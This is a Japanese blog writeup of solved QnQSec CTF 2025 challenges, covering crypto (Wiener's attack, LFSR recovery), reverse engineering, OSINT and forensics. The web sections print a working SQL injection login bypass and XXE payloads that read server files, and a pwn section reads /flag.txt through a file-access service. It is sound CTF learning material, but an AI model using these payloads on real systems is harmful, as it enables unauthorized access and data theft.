以下の内容はhttps://yocchin.hatenablog.com/entry/2025/10/21/072911より取得しました。


QnQSec CTF 2025 Writeup

この大会は2025/10/17 3:00(JST)~2025/10/19 3:00(JST)に開催されました。
今回もチームで参戦。結果は700点で738チーム中211位でした。
自分で解けた問題をWriteupとして書いておきます。

Echoes of the Unknown (Warmup)

wavファイルをAudacityで開き、スペクトログラムを見る。周波数を調整すると、フラグが表示された。

QnQSec{H1dd3n_1n_4ud1o}

Mandatory RSA (Warmup)

eの値が非常に大きいため、Wiener's Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

with open('known.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

p, q = wiener(n, e)
assert p * q == n

flag = decrypt(p, q, e, c).decode()
print(flag)
QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}

The Bird (Warmup)


問題文はこうなっている。

Find the Bird Sanctuary where this type of bird is found.

Redacted GPS Coordinates: LAT: 27.**** LON: 79.****

Flag format: QnQsec{BirdSanctuary}

画像検索すると、以下のページが見つかった。
https://stock.adobe.com/jp/images/painted-stork-mycteria-leucocephala-ranganathittu-bird-sanctuary-karnataka-india/261018174

Ranganathittu Bird Sanctuary と書いてある。

QnQsec{Ranganathittu}

これはフラグとして通らなかった。

緯度、経度のヒントがあるので、その辺りをGoogle Mapで見てみると、以下が該当しそう。
https://www.google.co.jp/maps/place/%E3%82%B5%E3%83%B3%E3%83%87%E3%82%A3%E9%B3%A5%E9%A1%9E%E4%BF%9D%E8%AD%B7%E5%8C%BA/@27.3165574,79.8211372,12z/data=!4m10!1m2!2m1!1sBird+Sanctuary!3m6!1s0x399e5ba48b3c6a07:0x2483314909cefc6c!8m2!3d27.3165574!4d79.9735725!15sCg5CaXJkIFNhbmN0dWFyeZIBEmJpcmRfd2F0Y2hpbmdfYXJlYaoBShABKhIiDmJpcmQgc2FuY3R1YXJ5KAgyHhABIhrTpyi0k16mht4PfVVengTGf__VXwCViZPgITISEAIiDmJpcmQgc2FuY3R1YXJ54AEA!16s%2Fm%2F047br53?entry=ttu&g_ep=EgoyMDI1MTAxNC4wIKXMDSoASAFQAw%3D%3D

名前はSandi Bird Sanctuaryとなっている。

QnQsec{SandiBirdSanctuary}

The Hidden Castle (Warmup)

問題文はこうなっている。

An old encrypted hard drive was discovered in an abandoned building near a major UNESCO World Heritage Site.

Redacted GPS Coordinates: LAT: 50.**** LON: 19.****

Flag format: QnQsec{theplaceofcastle}

ChatGPTに聞いてみると、緯度、経度のヒントから、Historic Centre of Kraków / Wawel Castle が世界遺産として該当することがわかる。

QnQsec{wawelcastle}

Baby_Reverse_Revenge_From_NHNC (Warmup)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char local_48 [16];
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    printf("Usage: %s encrypt",*param_2);
    uVar2 = 1;
  }
  else {
    local_48[0] = '\0';
    local_48[1] = '\0';
    local_48[2] = '\0';
    local_48[3] = '\0';
    local_48[4] = '\0';
    local_48[5] = '\0';
    local_48[6] = '\0';
    local_48[7] = '\0';
    local_48[8] = '\0';
    local_48[9] = '\0';
    local_48[10] = '\0';
    local_48[0xb] = '\0';
    local_48[0xc] = '\0';
    local_48[0xd] = '\0';
    local_48[0xe] = '\0';
    local_48[0xf] = '\0';
    strncpy(local_48,"1337",0x10);
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    iVar1 = call_embedded_shellcode(&local_38,0x20);
    if (iVar1 == 0) {
      fwrite("Failed to produce key via shellcode\n",1,0x24,stderr);
      uVar2 = 2;
    }
    else {
      iVar1 = strcmp((char *)param_2[1],"encrypt");
      if (iVar1 == 0) {
        iVar1 = encrypt_file("flag.txt","flag.enc",&local_38,local_48);
        if (iVar1 == 0) {
          puts("Encrypt failed");
          uVar2 = 3;
        }
        else {
          puts("Encrypted -> flag.enc");
          uVar2 = 0;
        }
      }
      else {
        uVar2 = 0;
      }
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

undefined4 encrypt_file(char *param_1,char *param_2,undefined8 param_3,undefined8 param_4)

{
  undefined4 uVar1;
  FILE *__stream;
  FILE *__stream_00;
  
  __stream = fopen(param_1,"rb");
  __stream_00 = fopen(param_2,"wb");
  if ((__stream == (FILE *)0x0) || (__stream_00 == (FILE *)0x0)) {
    perror("File open");
    if (__stream != (FILE *)0x0) {
      fclose(__stream);
    }
    if (__stream_00 != (FILE *)0x0) {
      fclose(__stream_00);
    }
    uVar1 = 0;
  }
  else {
    uVar1 = do_crypto(__stream,__stream_00,param_3,param_4,1);
    fclose(__stream);
    fclose(__stream_00);
  }
  return uVar1;
}

undefined8 do_crypto(FILE *param_1,FILE *param_2,uchar *param_3,uchar *param_4,int param_5)

{
  int iVar1;
  undefined8 uVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_850;
  int local_84c;
  EVP_CIPHER_CTX *local_848;
  EVP_CIPHER *local_840;
  uchar local_838 [1024];
  uchar local_438 [1064];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_848 = EVP_CIPHER_CTX_new();
  if (local_848 == (EVP_CIPHER_CTX *)0x0) {
    uVar2 = 0;
  }
  else {
    local_840 = EVP_aes_256_cbc();
    if (param_5 == 0) {
      iVar1 = EVP_DecryptInit_ex(local_848,local_840,(ENGINE *)0x0,param_3,param_4);
      if (iVar1 != 1) {
        handle_errors();
      }
    }
    else {
      iVar1 = EVP_EncryptInit_ex(local_848,local_840,(ENGINE *)0x0,param_3,param_4);
      if (iVar1 != 1) {
        handle_errors();
      }
    }
    while( true ) {
      sVar3 = fread(local_838,1,0x400,param_1);
      local_84c = (int)sVar3;
      if (local_84c < 1) break;
      if (param_5 == 0) {
        iVar1 = EVP_DecryptUpdate(local_848,local_438,&local_850,local_838,local_84c);
        if (iVar1 != 1) {
          handle_errors();
        }
      }
      else {
        iVar1 = EVP_EncryptUpdate(local_848,local_438,&local_850,local_838,local_84c);
        if (iVar1 != 1) {
          handle_errors();
        }
      }
      fwrite(local_438,1,(long)local_850,param_2);
    }
    if (param_5 == 0) {
      iVar1 = EVP_DecryptFinal_ex(local_848,local_438,&local_850);
      if (iVar1 != 1) {
        handle_errors();
      }
    }
    else {
      iVar1 = EVP_EncryptFinal_ex(local_848,local_438,&local_850);
      if (iVar1 != 1) {
        handle_errors();
      }
    }
    fwrite(local_438,1,(long)local_850,param_2);
    EVP_CIPHER_CTX_free(local_848);
    uVar2 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

アセンブリで暗号化する関数の呼び出し部分を見てみる。

                             LAB_001016cf                                    XREF[1]:     00101691(j)  
        001016cf 48 8b 4d c0     MOV        RCX,qword ptr [RBP + local_48]
        001016d3 48 8b 55 c8     MOV        RDX,qword ptr [RBP + local_40]
        001016d7 48 8b 75 f8     MOV        RSI,qword ptr [RBP + local_10]
        001016db 48 8b 45 f0     MOV        RAX,qword ptr [RBP + local_18]
        001016df 41 b8 01        MOV        R8D,0x1
                 00 00 00
        001016e5 48 89 c7        MOV        RDI,RAX
        001016e8 e8 d6 fc        CALL       do_crypto                                        undefined do_crypto()
                 ff ff

001016dfの命令を「MOV R8D,0x0」に書き換え、復号するようにしたい。
バイナリエディタで、該当する部分を検索する。オフセット0x16e1の値を0x00に書き換え、decrypterとして保存する。

$ mv flag.enc flag.txt
$ ./decrypter encrypt
Encrypted -> flag.enc
$ cat flag.enc
QnQSec{a_s1mpl3_fil3_3ncrypt3d_r3v3rs3}
QnQSec{a_s1mpl3_fil3_3ncrypt3d_r3v3rs3}

baby_baby_reverse (Warmup)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char *pcVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  byte local_24a;
  size_t local_248;
  ulong local_240;
  byte local_228 [536];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_228[0] = 0x54;
  local_228[1] = 0x68;
  local_228[2] = 0x31;
  local_228[3] = 0x73;
  local_228[4] = 0x5f;
  local_228[5] = 0x31;
  local_228[6] = 0x73;
  local_228[7] = 0x5f;
  local_228[8] = 0x74;
  local_228[9] = 0x68;
  local_228[10] = 0x33;
  local_228[0xb] = 0x5f;
  local_228[0xc] = 0x6b;
  local_228[0xd] = 0x33;
  local_228[0xe] = 0x79;
  local_228[0xf] = 0;
  printf("Enter flag: ");
  pcVar1 = fgets((char *)(local_228 + 0x10),0x200,stdin);
  if (pcVar1 == (char *)0x0) {
    puts("Input error");
    uVar2 = 1;
  }
  else {
    local_248 = strlen((char *)(local_228 + 0x10));
    if ((local_248 != 0) && (local_228[local_248 + 0xf] == 10)) {
      local_228[local_248 + 0xf] = 0;
      local_248 = local_248 - 1;
    }
    if (local_248 == 0x29) {
      local_24a = 0;
      for (local_240 = 0; local_240 < 0x29; local_240 = local_240 + 1) {
        local_24a = local_24a |
                    encrypted[local_240] ^ local_228[local_240 % 0xf] ^ local_228[local_240 + 0x10];
      }
      if (local_24a == 0) {
        puts("Correct!");
      }
      else {
        puts("Wrong!");
      }
      uVar2 = 0;
    }
    else {
      puts("Wrong!");
      uVar2 = 0;
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             encrypted                                       XREF[3]:     Entry Point(*), main:001012ea(*), 
                                                                                          main:001012fb(*)  
        00104060 05 06 60        undefine
                 20 3a 52 
                 08 0b 1c 
           00104060 05              undefined105h                     [0]                               XREF[3]:     Entry Point(*), main:001012ea(*), 
                                                                                                                     main:001012fb(*)  
           00104061 06              undefined106h                     [1]
           00104062 60              undefined160h                     [2]
           00104063 20              undefined120h                     [3]
           00104064 3a              undefined13Ah                     [4]
           00104065 52              undefined152h                     [5]
           00104066 08              undefined108h                     [6]
           00104067 0b              undefined10Bh                     [7]
           00104068 1c              undefined11Ch                     [8]
           00104069 01              undefined101h                     [9]
           0010406a 40              undefined140h                     [10]
           0010406b 00              undefined100h                     [11]
           0010406c 5a              undefined15Ah                     [12]
           0010406d 40              undefined140h                     [13]
           0010406e 26              undefined126h                     [14]
           0010406f 60              undefined160h                     [15]
           00104070 06              undefined106h                     [16]
           00104071 6e              undefined16Eh                     [17]
           00104072 40              undefined140h                     [18]
           00104073 3e              undefined13Eh                     [19]
           00104074 42              undefined142h                     [20]
           00104075 0a              undefined10Ah                     [21]
           00104076 00              undefined100h                     [22]
           00104077 06              undefined106h                     [23]
           00104078 5b              undefined15Bh                     [24]
           00104079 45              undefined145h                     [25]
           0010407a 6c              undefined16Ch                     [26]
           0010407b 19              undefined119h                     [27]
           0010407c 40              undefined140h                     [28]
           0010407d 4a              undefined14Ah                     [29]
           0010407e 0b              undefined10Bh                     [30]
           0010407f 0b              undefined10Bh                     [31]
           00104080 59              undefined159h                     [32]
           00104081 47              undefined147h                     [33]
           00104082 33              undefined133h                     [34]
           00104083 5d              undefined15Dh                     [35]
           00104084 40              undefined140h                     [36]
           00104085 31              undefined131h                     [37]
           00104086 13              undefined113h                     [38]
           00104087 5b              undefined15Bh                     [39]
           00104088 4e              undefined14Eh                     [40]

encryptedとlocal_228の繰り返しをXORすればよい。

>>> ct = [0x05, 0x06, 0x60, 0x20, 0x3a, 0x52, 0x08, 0x0b, 0x1c, 0x01, 0x40, 0x00, 0x5a, 0x40, 0x26, 0x60, 0x06, 0x6e, 0x40, 0x3e, 0x42, 0x0a, 0x00, 0x06, 0x5b, 0x45, 0x6c, 0x19, 0x40, 0x4a, 0x0b, 0x0b, 0x59, 0x47, 0x33, 0x5d, 0x40, 0x31, 0x13, 0x5b, 0x4e]
>>> key = [0x54, 0x68, 0x31, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x74, 0x68, 0x33, 0x5f, 0x6b, 0x33, 0x79]
>>> ''.join([chr(ct[i] ^ key[i % len(key)]) for i in range(len(ct))])
'QnQSec{This_1s_4n_3asy_r3v3rs3_ch4ll3ng3}'
QnQSec{This_1s_4n_3asy_r3v3rs3_ch4ll3ng3}

myLFSR? (Warmup)

暗号化処理の概要は以下の通り。

・KEY: ランダム8バイト文字列を数値化したものをbase3の数値配列にし、逆転したもの
・MASK: KEYの長さ分ランダム256ビット整数を3で割った余りを配列にしたもの
・cipher = Cipher(KEY, MASK)
 ・cipher.lfsr = myLFSR(key, mask)
  ・cipher.lfsr.state = key
  ・cipher.lfsr.mask = mask
  ・cipher.mod = 3
・gift = cipher.encrypt(b"\xff" * (len(KEY) // 3 + 3))
 ・pt: b"\xff" * (len(KEY) // 3 + 3)を数値化したものをbase3の数値配列にし、逆転したもの
 ・stream: ptの長さだけcipher.lfsr()の結果を配列にしたもの
  ・cipher.lfsr()
   ・b = sum(s * m for s, m in zip(cipher.lfsr.state, cipher.lfsr.mask)) % cipher.lfsr.mod
   ・output = cipher.lfsr.state[0]
   ・cipher.lfsr.state = cipher.lfsr.state[1:] + [b]
   ・outputを返却
 ・ct: ptとstreamのXOR
 ・ctを返却
・ct = cipher.encrypt(flag)
・KEYの長さを出力
・giftを16進数表記で出力
・ctを16進数表記で出力

output.txtの内容からKEYの長さは40であることがわかる。streamの最初の40個はKEYそのものになる。またstreamとmaskの剰余環乗の行列の積で等式を表せる。

[stream[0], stream[1], ..., stream[39]]     [mask[0]]    [stream[40]]
[stream[1], stream[2], ..., stream[40]]     [mask[1]]    [stream[41]]
                :                         *     :      =     :
[stream[38], stream[39], ..., stream[77]]   [mask[38]]   [stream[78]]
[stream[39], stream[40], ..., stream[78]]   [mask[39]]   [stream[79]]

これをS * M = Cと表すと、以下の計算でMASKであるMを割り出すことができる。

M = ~S * C

あとは順を追って、flagの暗号化時のstreamを割り出し、XORして復号することができる。

#!/usr/bin/env sage
from Crypto.Util.number import *

def expand(n: int, base=3) -> list[int]:
    res = []
    while n:
        res.append(n % base)
        n //= base
    return res

class myLFSR:
    def __init__(self, key: list[int], mask: list[int]):
        self.state = key
        self.mask = mask
        self.mod = 3

    def __call__(self) -> int:
        b = sum(s * m for s, m in zip(self.state, self.mask)) % self.mod
        output = self.state[0]
        self.state = self.state[1:] + [b]

        return output

class Cipher:
    def __init__(self, key: list[int], mask: list[int]):
        self.lfsr = myLFSR(key, mask)

    def encrypt(self, msg: bytes) -> bytes:
        pt = expand(int.from_bytes(msg, "big"))
        stream = [self.lfsr() for _ in range(len(pt))]
        ct = [a ^^ b for a, b in zip(pt, stream)]
        return bytes(ct)

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

MOD = 3
KEY_LEN = int(params[0])
gift = bytes.fromhex(params[1])
ct = bytes.fromhex(params[2])

gift_pt = b'\xff' * (KEY_LEN // 3 + 3)
gift_pt = expand(int.from_bytes(gift_pt, 'big'))
stream = [a ^^ b for a, b in zip(gift_pt, gift)]

KEY = stream[:KEY_LEN]
S = []
for i in range(KEY_LEN):
    row = [stream[i + j] for j in range(KEY_LEN)]
    S.append(row)

C = [[stream[i + KEY_LEN]] for i in range(KEY_LEN)]

S = matrix(Zmod(MOD), S)
C = matrix(Zmod(MOD), C)
M = ~S * C

MASK = [int(M[i][0]) for i in range(KEY_LEN)]

cipher = Cipher(KEY, MASK)
calc_gift = cipher.encrypt(b'\xff' * (len(KEY) // 3 + 3))
assert gift == calc_gift

stream = [cipher.lfsr() for i in range(len(ct))]
pt = [a ^^ b for a, b in zip(ct, stream)]

m = 0
for i in range(len(pt)):
    m += pt[i] * MOD ** i

flag = long_to_bytes(m).decode()
print(flag)
QnQSec{i_L1K3_B3RleK4mP_m4Ss3y_0n_m0d_3_f1elD}

Sanity Check (Misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

QnQSec{W3lcom3_t0_QnQSec_h0p3_y0u_br0ught_p1zza}

Catch Me (Misc)

添付のgifはアニメーションになっていて、341コマある。各コマはQRコードになっているので、giamで分割して、スクリプトで各QRコードをデコードしていく。さらにbase64文字列になっているので、デコードし、フラグの形式になっているものを探す。

#!/usr/bin/env python3
from pyzbar.pyzbar import decode
from PIL import Image
from base64 import b64decode

for i in range(1, 342):
    fname = 'frames/qrs_%03d.gif' % i
    img = Image.open(fname)
    data = decode(img)[0].data.decode()
    flag = b64decode(data).decode()
    if flag.startswith('QnQSec{'):
        print(flag)
        break
QnQSec{C4TCH_M3_1F_Y0U_C4N}

HeartBroken (Misc)

Adobe Acrobatで開き、割れているハートの画像を取り除くと、フラグが現れた。

QnQSec{I_4ctually_st1ll_l0v3_y0u_Rima!!}

The company (OSINT)


問題文はこうなっている・

we stumbled upon this job offer by Chloe Stekar, what's the company that's hiring ? 
Flag format: QnQSec{Company Name}

Xで問題文にある「Chloe Stekar」を検索すると、画像の投稿がすぐに見つかった。

https://x.com/ChloeStekar

画像のマスクされている部分にはこう書いてある。

QnQ Corps welcomes you, we're on linkedin cuz we're a real!
QnQSec{QnQ Corps}

FAAS (File Access As A Service) (Pwn)

$ nc 161.97.155.116 1337
0. open file
1. read file
2. write file
3. show available files
4. exit
> 3
Available files:
 - todo.txt
 - access.txt
 - flag.txt
 - temp.txt
0. open file
1. read file
2. write file
3. show available files
4. exit
> 0
Enter file path: 
flag.txt
0. open file
1. read file
2. write file
3. show available files
4. exit
> 1
You're not editing any files currently

flag.txtは読めなかった。/flag.txtで同様に試す。

0. open file
1. read file
2. write file
3. show available files
4. exit
> 0
Enter file path: 
/flag.txt
0. open file
1. read file
2. write file
3. show available files
4. exit
> 1
Enter position to read from: 0
Enter number of bytes to read: (max: 4096) 100
Show as (1) string or (2) hex? 1

---- File content ----
QnQSec{1e5f0159edd5b616423e15bd973971f3}.
---- End of content ----
QnQSec{1e5f0159edd5b616423e15bd973971f3}

s3cr3ct_w3b (Web)

ログイン画面で以下の通り入力し、SQLインジェクションでログインする。

Username: ' or 1=1 -- -
Password: a

XMLデータを送信できるようなので、XXEと推測し、以下の内容のファイルを作成し、送信してみる。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/flag.txt">]><root>&xxe;</root>

この結果、以下のように表示された。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/flag.txt">
]>
<root>QnQSec{sql1+XXE_1ng3tion_but_using_php_filt3r}</root>
QnQSec{sql1+XXE_1ng3tion_but_using_php_filt3r}

s3cr3ct_w3b revenge (Web)

s3cr3ct_w3bと同じように、ログイン画面で以下の通り入力し、SQLインジェクションでログインする。

Username: ' or 1=1 -- -
Password: a

Dockerfileを見ると、flag.txtのパスが変わっているので、以下の内容に変え、送信してみる。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/flags/flag.txt">]><root>&xxe;</root>

この結果、以下のように表示された。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/flags/flag.txt">
]>
<root>QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}
</root>
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/10/21/072911より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14